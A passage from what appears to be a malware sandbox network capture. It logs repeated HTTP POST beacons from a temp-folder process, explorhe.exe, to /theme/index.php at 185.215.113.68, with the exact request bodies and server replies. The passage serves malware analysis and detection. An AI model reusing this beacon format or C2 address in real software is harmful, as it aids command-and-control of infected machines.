Jan 18, 2024 00:38:10.021058083 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:38:10.260094881 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:38:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
294	192.168.2.6	50534	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:38:10.624510050 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:38:10.865992069 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:38:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
295	192.168.2.6	50535	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:38:11.123811007 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:38:11.367357016 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:38:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
296	192.168.2.6	50536	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:38:11.718767881 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:38:11.951220036 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:38:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
297	192.168.2.6	50537	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:38:12.198137045 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:38:12.435388088 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:38:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
298	192.168.2.6	50538	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:38:12.802320957 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:38:13.042884111 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:38:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
299	192.168.2.6	50539	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:38:13.302597046 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:38:13.543399096 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:38:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
300	192.168.2.6	50540	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:38:13.988121986 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:38:14.219309092 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:38:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
301	192.168.2.6	50541	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:38:14.512038946 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:38:14.750698090 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:38:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
302	192.168.2.6	50542	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:38:15.141309977 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:38:15.382414103 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:38:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
303	192.168.2.6	50543	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:38:15.641267061 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:38:15.882982969 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:38:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
304	192.168.2.6	50546	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:38:16.300647974 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:38:16.544929981 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:38:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
305	192.168.2.6	50547	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:38:16.801384926 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:38:17.041347980 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:38:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
306	192.168.2.6	50550	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:38:17.407757998 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:38:17.644196987 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:38:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
307	192.168.2.6	50551	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:38:17.886432886 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:38:18.124661922 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:38:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
308	192.168.2.6	50553	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:38:18.481445074 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:38:18.721925020 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:38:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
309	192.168.2.6	50555	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:38:18.979583025 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:38:19.214459896 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:38:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
310	192.168.2.6	50556	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:38:19.591160059 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:38:19.830837965 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:38:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
311	192.168.2.6	50557	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:38:20.078466892 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:38:20.319921017 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:38:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
312	192.168.2.6	50558	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:38:20.686043978 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:38:20.919460058 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:38:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port
313	192.168.2.6	50559	185.215.113.68	80

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:38:21.167159081 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:38:21.410346031 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:38:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
314	192.168.2.6	50560	185.215.113.68	80

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:38:21.763380051 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:38:21.995675087 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:38:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port
315	192.168.2.6	50561	185.215.113.68	80

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:38:22.240592003 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:38:22.479990005 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:38:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
316	192.168.2.6	50562	185.215.113.68	80

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:38:22.841478109 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:38:23.075700998 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:38:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port
